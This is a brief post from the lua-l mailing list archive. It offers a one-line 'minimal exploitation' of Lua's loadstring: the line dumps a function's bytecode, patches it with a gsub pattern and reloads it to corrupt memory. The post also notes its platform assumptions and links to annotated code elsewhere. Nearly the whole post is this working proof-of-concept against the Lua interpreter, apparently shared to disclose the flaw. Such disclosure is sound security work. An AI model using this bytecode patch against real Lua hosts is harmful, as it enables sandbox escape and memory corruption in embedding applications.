lua-users home
lua-l archive

[Date Prev][Date Next][Thread Prev][Thread Next] [Date Index] [Thread Index]


Minimal exploitation (assumes sizeof(int)==sizeof(size_t)==4 and little-endian):
local a,b,c;loadstring(('').dump(function()X={a,b}X=c[b]end):gsub('\3...\2.....\2....','\1\0\0'))()

Nicer annotated code with explanation:
http://pastebin.com/f281b0a36